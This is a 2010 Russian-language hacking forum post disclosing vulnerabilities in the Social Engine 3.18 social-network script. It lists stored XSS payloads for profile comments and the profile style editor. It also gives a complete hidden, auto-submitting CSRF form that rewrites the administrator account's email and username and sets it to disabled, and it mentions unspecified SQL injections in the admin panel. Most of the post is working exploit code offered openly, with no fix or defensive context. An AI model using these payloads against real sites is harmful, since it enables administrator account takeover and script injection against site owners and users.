Показать сообщение отдельно
Старый 09.07.2010, 11:23   #1
Ctacok
 
Аватар для Ctacok
 
Регистрация: 06.07.2010
Сообщений: 127
Репутация: 49
По умолчанию Уязвимости Social Engine

Social Engine v 3.18
Скрипт для создание социальных сетей (Привет вконтакти)
Активная XSS:
/profile.php?user=victim
Переходим на вкладку Comments.
Цитата:
<a href='javascript:alert();'>xek</a>
Цитата:
<IMG src="javascript:alert()"></img>
Активная XSS:
/user_editprofile_style.php
Цитата:
body{
background-image: url('javascript:alert()');
}
CSRF:
Код HTML:
<div style='display:none'>
<form action='http://localhost/se/admin/admin_viewusers_edit.php' method='post' name='xeker'>
<input type='text' class='text' name='user_email' value='milo@mail.com' size='30' maxlength='70'>
<input type='text' class='text' name='user_username' value='Ctacok' size='30' maxlength='50'>
<input type='password' class='text' name='user_password' value='' size='30' maxlength='50'>
<select class='text' name='user_enabled'><option value='0'>Disabled</option>
<select class='text' name='user_level_id'><option value='1' SELECTED>Default Level</option>
<select class='text' name='user_profilecat_id'><option value='1' SELECTED>Standard Users</option>
<input type='text' class='text' name='user_invitesleft' value='5' maxlength='3' size='2'>
<input type='submit' class='button' value='Save Changes'>
<input type='hidden' name='task' value='edituser'>
<input type='hidden' name='user_id' value='1'>
<input type='hidden' name='s' value='id'>
<input type='hidden' name='p' value='1'>
<input type='hidden' name='f_user' value=''>
<input type='hidden' name='f_email' value=''><input type='hidden' name='f_level' value=''>
<input type='hidden' name='f_subnet' value=''>
<input type='hidden' name='f_enabled' value=''>
</form>
</div>

<script language="JavaScript" type="text/javascript"> 
document.xeker.submit(); 
</script>
Ну и пару скулей в админке.
__________________
Twitter - @Ctacok

Последний раз редактировалось (dm); 19.08.2010 в 01:41.. Причина: изменение заголовка
Ctacok вне форума   Ответить с цитированием